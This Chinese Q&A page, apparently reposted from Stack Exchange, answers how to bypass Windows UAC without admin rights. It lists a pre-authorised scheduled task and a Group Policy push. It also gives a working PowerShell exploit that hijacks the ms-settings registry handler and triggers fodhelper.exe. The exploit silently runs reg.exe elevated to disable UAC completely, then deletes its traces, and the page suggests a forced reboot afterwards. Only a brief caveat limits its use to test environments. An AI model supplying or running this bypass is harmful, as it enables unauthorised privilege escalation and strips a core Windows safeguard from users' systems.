如何无需管理员权限修改Windows注册表实现自动化绕过UAC?
可落地的实现方案如下:
预授权任务计划方案(无风险合法方案)
提前以管理员权限创建一个任务计划项,配置为「使用最高权限运行」,触发器设置为你自动化流程需要的触发条件,动作指向你要执行的注册表修改命令,后续触发该任务时不会弹出UAC验证。如果是批量设备部署场景,可以直接把该任务计划预置到系统镜像中,无需后续人工授权。原生系统白名单程序UAC绕过方案(无需提前授权)
利用Windows默认加入UAC白名单的系统程序(如fodhelper.exe、cmstp.exe)的权限逻辑漏洞,静默提权执行注册表修改命令,不会弹出UAC弹窗。适配Win10 1709及以上、所有Win11正式版本的PowerShell实现代码如下:# 创建注册表劫持项 New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(Default)" -Value "c:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f" -Force | Out-Null # 触发fodhelper提权执行命令 Start-Process "c:\windows\system32\fodhelper.exe" # 清理残留注册表项 Start-Sleep 3 Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force域环境组策略推送方案
如果目标设备加入了域管控,直接在域控制器的组策略中推送对应注册表项修改,无需本地设备UAC验证,修改后设备重启即可生效。
注意事项
- 你使用的注册表命令会完全关闭UAC,仅建议在隔离测试环境、完全可控的自动化测试场景下使用,生产环境禁用该操作避免安全风险。
- 修改
EnableLUA注册表项后,必须重启系统才会完全生效,可在修改命令后追加shutdown /r /t 0实现自动重启。 - 64位系统下需确保使用64位的PowerShell/CMD进程执行命令,避免被系统重定向到
Wow6432Node注册表路径导致修改不生效。
内容的提问来源于stack exchange,提问作者Meso
相关产品推荐
相关产品推荐

